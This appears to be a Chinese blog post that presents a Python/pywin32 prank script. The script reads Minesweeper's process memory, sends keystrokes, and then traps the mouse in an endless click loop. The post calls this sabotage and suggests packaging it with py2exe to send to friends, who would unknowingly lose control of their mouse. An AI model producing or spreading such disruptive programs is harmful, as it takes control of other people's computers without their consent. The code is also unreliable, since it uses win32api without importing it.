python搞事情

来源:互联网 发布:完全开源的cms系统 编辑:程序博客网 时间:2024/04/29 03:22

1.安装pywin32

2.

import win32process
import win32con
import win32gui
import ctypes


shalei = u"扫雷"
h = win32gui.FindWindow(0, u"扫雷")
assert h!=0
hid,pid = win32process.GetWindowThreadProcessId(h)
print (pid)
while 0:
  win32api.SendMessage(h,win32con.WM_COMMAND,0x20A,0)
win32api.SendMessage(h,win32con.WM_COMMAND,0x209,0)
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
phand = win32api.OpenProcess(PROCESS_ALL_ACCESS,False,pid)
date = ctypes.c_long()
chars = (ctypes.c_char_p)
mydll = ctypes.windll.LoadLibrary("C:\Windows\System32\kernel32.dll")
mydll.ReadProcessMemory(int(phand),0x1005194,ctypes.byref(date),4,None)
#ToDo
#mydll.ReadProcessMemory(int(phand),0x1005361,ctypes.byref(chars),32*24,None)
print (date.value)
win32gui.SetForegroundWindow(h)
win32api.keybd_event(18,0,0,0)      # Alt
win32api.keybd_event(71,0,0,0)     # F
win32api.keybd_event(71,0,win32con.KEYEVENTF_KEYUP,0)  #释放按键
win32api.keybd_event(18,0,win32con.KEYEVENTF_KEYUP,0)
while 1:
    win32api.SetCursorPos([20,62])    #为鼠标焦点设定一个位置
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, h, h, 0, 0)
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, h, 0, 0, 0)


3最后的鼠标事件可以让你崩溃  纯属搞破坏 一旦运行 鼠标就基本不受你控制了

4用py2exe打包 发给你的小伙伴运行吧  ^_^